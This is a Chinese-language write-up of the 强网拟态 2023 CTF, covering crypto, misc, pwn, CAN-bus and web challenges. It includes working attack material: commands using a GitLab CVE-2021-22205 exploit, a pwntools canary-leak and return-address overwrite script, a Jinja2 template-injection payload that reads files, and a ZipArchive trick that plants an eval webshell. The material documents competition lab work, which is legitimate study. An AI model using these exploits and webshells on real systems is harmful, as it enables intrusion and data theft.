强网拟态 2023 Writeup

9 min read

写在前面

整体来说还算可以,不过有几个槽点:两道题需要去根据语义猜答案,吃了没文化的亏,另外不知道为什么车联网用原题,据其他师傅说今年第四次见到这三道题了…

Crypto

一眼看出

一眼看穿

from Crypto.Util.number import long_to_bytes
import gmpy2

n = 121027298948349995679677982412648544403333177260975245569073983061538581058440163574922807151182889153495253964764966037308461724272151584478723275142858008261257709817963330011376266261119767294949088397671360123321149414700981035517299807126625758046100840667081332434968770862731073693976604061597575813313
c = 42256117129723577554705402387775886393426604555611637074394963219097781224776058009003521565944180241032100329456702310737369381890041336312084091995865560402681403775751012856436207938771611177592600423563671217656908392901713661029126149486651409531213711103407037959788587839729511719756709763927616470267

a = gmpy2.isqrt(n)
b2 = gmpy2.sub(gmpy2.square(a), n)

while not gmpy2.is_square(b2):
    a += 1
    b2 = gmpy2.sub(gmpy2.square(a), n)

b = gmpy2.isqrt(b2)
p = gmpy2.sub(a, b)
q = gmpy2.add(a, b)

phi = gmpy2.mul(gmpy2.sub(p, 1), gmpy2.sub(q, 1))
d = gmpy2.invert(65537, phi)

m = pow(c, d, n)
flag = long_to_bytes(m)

print(flag.decode())
# flag{621f7c4f-21de-8566-649e-5a883ce318dc}

V2XSec

某地方企业内网中采用自己设计的车联网安全通信协议(Vehicle networking security communication protocol,VSCP)与车联网应用进行通信以实现控制车辆的目的,利用该协议接发的所有网络数据包均含有用户的身份。选手需要通过漏洞利用、数据包解析以及数据包伪造三个步骤完成攻击。

新型车联网安全网络协议破解(阶段一)

阶段一: 内网服务器漏洞利用

  1. 参赛选手利用VPN客户端可以登入内网服务器Server1,该内网服务器被安全团队指出拥有某种漏洞,但内网管理员仍未采取任何安全措施。
  2. Server1与车联网服务器Server2定时通信 (通信程序名为Vehicle Controller) ,通信时使用VSCP协议。
  3. 参赛选手需要挖掘并利用系统漏洞,获取Vehicle Controller程序的执行路径,执行路径下有flag,提交正确的flag即视为解题成功。
  4. VPN下载链接: 链接:https://share.weiyun.com/LGGUOBfj 密码:x9yuf8
  5. Server1的IP地址给出为: 172.18.0.4。

这题没啥好说的,从看到VPN的那一刻起就觉得眼熟,打开 IP 之后发现 Gitlab 就知道了… 确实是原题,IP都没变,具体操作参考我当年的文章 ISCC 2022 实战题 Writeup,这里贴一下主要执行命令,当年是找到 PID 号即可,这次是要求找到进程文件所在目录。

python .\CVE-2021-22205.py -a true -t http://172.18.0.4/ -c "ps -aux > /home/git/gitlab/public/assets/12222.txt"
python .\CVE-2021-22205.py -a true -t http://172.18.0.4/ -c "ls /proc/5452 -l > /home/git/gitlab/public/assets/12222.txt"
python .\CVE-2021-22205.py -a true -t http://172.18.0.4/ -c "cat /home/mping/flag > /home/git/gitlab/public/assets/12222.txt"

Misc

Welcome

欢迎大家参加第六届“强网”拟态防御国际精英挑战赛! 本场flag兑换凭证如下:ZmxhZ3tNaW1pY195eWRzJkcwZF9Kb0JfQ1RGZXJ+fQ== 预祝大家取得好成绩!

直接 Base64 解码即可

flag{Mimic_yyds&G0d_JoB_CTFer~}

国际象棋与二维码

你见过国际象棋的棋盘吗

国际象棋棋盘也是黑白两色,同时给出的附件也是黑白两色的正方形,直接尝试用 49 * 49 的棋盘和题目进行异或,得到正确的二维码

from PIL import Image

img = Image.new('RGB', (49, 49))
for x in range(49):
    for y in range(49):
        if (x + y) % 2 == 0:
            img.putpixel((x, y), (255, 255, 255))

img = img.resize((500, 500), Image.NEAREST)
img.save('test.png')

image-20231111163341814

Mimic

拟态控制器

程序员小荆今年的任务是开发拟态控制器。他在nbctl命令中增加了一处密码认证,将其改造成认证密码后查询。Teamleader后期代码审查时发现其中有一处溢出漏洞,就干脆把这段代码拿出来做了个demo,初赛题目这不就来了吗。 仔细一想,黑盒赛赛题这不也来了吗。

现请提交该flag。

第一次泄露 canary,第二次覆盖返回地址低位

from pwn import *
context.log_level = 'debug'

io = remote("pwn-91ac7455dc.challenge.xctf.org.cn", 9999, ssl=True)

p = 40 * b'a' + b'^'
io.sendafter("ler query command:", p)
io.recvuntil("^")
canary = b'\0' + io.recv(7)
p = canary * 7 + p8(0x0a)
io.send(p)

io.interactive()

Tbox Can

智能网联车上WIFI的密码常常通过can报文传输,请分析can报文,提取WIFI密码,flag的格式为 flag{password}

下载附件得到一个表格,看不懂一点,随手把 Data 里的数据全都复制出来转换了一下,发现没毛病,主要的数据在 0x000000000000061A 这个 CAN ID 里面

image-20231111193419521

提交半天不对,最后根据语义和大量提交得出最终 flag

flag{L0GIC_ANALYSIS_FOR_FUN}

find me and crack me

题目中存在隐藏的说明文档,获取并解密此文档后,即可按照提示获取flag

打开环境发现注释里存在密文和密钥

KEY:N2RlMzhmM2MzZDNiYWE3Y2E1OGEzNjZmMDk1Nzc1ODY=
encrypt word: YWY2NTRiZTc5ZjkyNGE2ZDA3MGFlYjE5ZWMxN2U4Y2NjMTJkNWExYWY2NTc0YzE4YmMyYzI3YWFkZjZmZjRhN2Y4ZDUwOTBmMTVkNDBiM2Y2ZTFhMzIxMDNmOGMwMjgxNmJmZTMzMTY4ZGFmNzJkMzBiOTAwMTgxYzliMGQ5MGEyNmNmNDZiZGUyNjA4NDE5YWM1MmE0NmVjZDQwYjlhZWYwMzczYjcyODExNTg0YzE3MjJmYzU4Y2NmYjhlYzM4N2RmZTc2ODRjOTIzYWVlMWM1ZGU0NWI5NDIxMThjYjBjMGYwYzIwNWJkODA0N2M3MjczY2RiYjYwNWQwMzMxNzcwZjk3NDM0M2ZhN2FiNjQ1YWVkMzQ2MjRkMzQ5ODRkODU2YWY2MzkwMWUxZDU0MjFjMWRmZDcyMjUxZDBkOTU=

Base64解码后得到

KEY:7de38f3c3d3baa7ca58a366f09577586
encrypt word: af654be79f924a6d070aeb19ec17e8ccc12d5a1af6574c18bc2c27aadf6ff4a7f8d5090f15d40b3f6e1a32103f8c02816bfe33168daf72d30b900181c9b0d90a26cf46bde2608419ac52a46ecd40b9aef0373b72811584c1722fc58ccfb8ec387dfe7684c923aee1c5de45b942118cb0c0f0c205bd8047c7273cdbb605d0331770f974343fa7ab645aed34624d34984d856af63901e1d5421c1dfd72251d0d95

将 KEY 进行 md5 解密后得到 secrets,然后对 encrypt word 进行 DES 解密

1.maybe used first url get random:
/mimic_storage

2.maybe used second url get flag:
/getflag?sec=random&path=xxxx

xxx is:
MVhuOtClaoE5899iOuiSWkvqxsrRimmb

image-20231111220355321

剩下的就没啥好说的了,根据题目提示挨个访问即可得到 flag

/getflag?sec=[/mimic_storage获取的random]&path=MVhuOtClaoE5899iOuiSWkvqxsrRimmb

用户登记系统

小张同学学习了拟态防御理论,利用刚学会了web开发技术,开发一个用户信息登记系统的demo,你能找漏洞吗? (flag全部为小写,flag文件在/tmp/目录下)

import random
from flask import Flask, request, render_template_string, abort, redirect
import string

white_list = string.ascii_letters + string.digits + '()_-{}."[]=/'
#mimic-defense-31919-heterogeneous
#mimic-defense-29414-heterogeneous
black_list = ['codecs', 'system', 'for', 'if',
              'end', 'os', 'eval', 'request', 'write',
              'mro', 'compile', 'execfile', 'exec',
              'subprocess', 'importlib', 'platform', 'timeit',
              'import', 'linecache', 'module', 'getattribute',
              'pop', 'getitem', 'decode', 'popen',
              'ifconfig', 'flag', 'config', 'cat']

app = Flask(__name__)
#mimic-defense-94180-heterogeneous


@app.after_request
def modify_headers(response):
    random_str = ['PHP/7.3.33', 'PHP/7.4', 'PHP/7.2', 'PHP/8.2']
    response.headers['X-Powered-By'] = random.choice(random_str)
    return response


def check(s):
#mimic-defense-86550-heterogeneous
    # print(len(s))
    # if len(s) > 131:
    if len(s) > 478:
        abort(500, 'u are hacker')
        # abort(500, 'hacker len')
    for i in s:
        if i not in white_list:
            abort(500, 'u are hacker')
            # abort(500, 'hacker white')
    for i in black_list:
        if i in s:
            abort(500, 'u are hacker')
            # abort(500, 'hacker black')
#mimic-defense-26568-heterogeneous


@app.route('/')
def redirectIndex():
    return redirect('/index.php', 302)


@app.route('/index.php', methods=['GET', 'POST'])
def hello_world():
#mimic-defense-7691-heterogeneous
#mimic-defense-50975-heterogeneous
    template = '''
            <h1>用户登记系统</h1>
            <form method='POST'>
                <label for='name''输入用户名称:'/label>
                <input type='text' id='name' name='name'>
                <input type='submit' value='Submit'>
            </form<

            {% if name %}
                <p>您好, {{ name }} 已登记!</p>
            {% endif %}
        '''
    if request.method == 'POST':
        try:
            print(request.form)
            name = request.form.get('name')
        except Exception:
            return render_template_string('<h1>需要name参数</h1>')

        if name == '':
#mimic-defense-81766-heterogeneous
            return render_template_string('<h1>请输入用户名!</h1>')

        check(name)
        template = '<h1>您好, {}已登记!!</h1>'.format(name)
        res = render_template_string(template)
        if 'flag' in res:
#mimic-defense-31218-heterogeneous
            abort(500, 'u are hacker')
#mimic-defense-55651-heterogeneous
        return res
    return render_template_string(template)


if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True)

通过测试发现只有这几个 ()_-{}."[]=/ 符号可以使用,另外 os 模块被过滤,我们直接通过 __builtins__ 绕过后通过数组一位一位的读取,具体 Payload 如下,写脚本去遍历即可,同时测试发现前 570 位均为垃圾字符,可以从 570 开始爆破

{{[].__class__.__base__.__subclasses__()[103].__init__.__globals__.__builtins__["open"]("/tmp/fla""g").read()[位数]}}

爆破最终得到,很明显缺位,根据语义补上一个 n} 发现没问题

flag{u_win_have_fu

Web

noumisotuitennnoka

noumisotuitennnoka

<?php
highlight_file(__FILE__);
$dir = '/tmp';
$htContent = <<<EOT
<Files "backdoor.php">
    Deny from all
</Files>
EOT;
$action = $_GET['action'] ?? 'create';
$content = $_GET['content'] ?? '<?php echo file_get_contents("/flag");@unlink(__FILE__);';
$subdir = $_GET['subdir'] ?? '/jsons';

if(!preg_match('/^\/\.?[a-z]+$/', $subdir) || strlen($subdir) > 10)
    die("....");

$jsonDir = $dir . $subdir;
$escapeDir = '/var/www/html' . $subdir; 
$archiveFile = $jsonDir . '/archive.zip';


if($action == 'create'){
    // create jsons/api.json
    @mkdir($jsonDir);
    file_put_contents($jsonDir. '/backdoor.php', $content);
    file_put_contents($jsonDir.'/.htaccess',$htContent);
}
if($action == 'zip'){
    delete($archiveFile);
    // create archive.zip
    $dev_dir = $_GET['dev'] ?? $dir;
    if(realpath($dev_dir) !== $dir)
        die('...');
    $zip = new ZipArchive();
    $zip->open($archiveFile, ZipArchive::CREATE);
    $zip->addGlob($jsonDir . '/**', 0, ['add_path' => 'var/www/html/', 'remove_path' => $dev_dir]);
    $zip->addGlob($jsonDir . '/.htaccess', 0, ['add_path' => 'var/www/html/', 'remove_path' => $dev_dir]);
    $zip->close();
}
if($action == 'unzip' && is_file($archiveFile)){
    $zip = new ZipArchive();
    $zip->open($archiveFile);
    $zip->extractTo('/');
    $zip->close();
}
if($action == 'clean'){
    if (file_exists($escapeDir))
        delete($escapeDir);
    else
        echo "Failed.(/var/www/html)";
    if (file_exists($jsonDir))
        delete($jsonDir);
    else
        echo "Failed.(/tmp)";
}

function delete($path){
    if(is_file($path))
        @unlink($path);
    elseif (is_dir($path)) 
        @rmdir($path);
}

利用 PHP ZipArchive::addGlob即可,具体参考 嘘つきPHP ZipArchive::addGlobと壊れたファイルパス,最后访问 backdoor.php 即可执行命令

?action=create&subdir=/sh&content=<?php eval($_GET[1]);&dev=/tmp//
?action=zip&subdir=/sh&content=<?php eval($_GET[1]);&dev=/tmp//
?action=unzip&subdir=/sh&content=<?php eval($_GET[1]);&dev=/tmp//
?action=clean&subdir=/.htaccess&content=<?php eval($_GET[1]);&dev=/tmp//